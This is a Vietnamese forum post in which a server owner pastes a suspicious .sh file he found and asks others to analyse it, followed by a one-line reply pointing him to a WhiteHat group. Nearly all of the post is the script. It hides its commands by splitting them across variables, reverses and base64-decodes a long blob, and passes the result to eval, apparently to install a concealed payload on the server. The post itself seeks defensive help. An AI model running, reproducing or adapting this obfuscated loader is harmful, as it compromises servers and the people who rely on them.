Các bác xem giúp em tệp tin này có vấn đề gì không với!

[ngduong1410]

Em vừa phát hiện trong server của em có 1 tệp tin lạ! Các bác phân tích giúp em với! Anh em cùng thảo luận nhé!

 

Tệp tin (định dạng .sh)

gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" '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
' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp=""
x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
eval "$N0q$x$Hc2$rQW"

 

Chào bạn, bạn vui lòng đưa vấn đề của mình vào Group WhiteHat để nhận được hỗ trợ bạn nhé.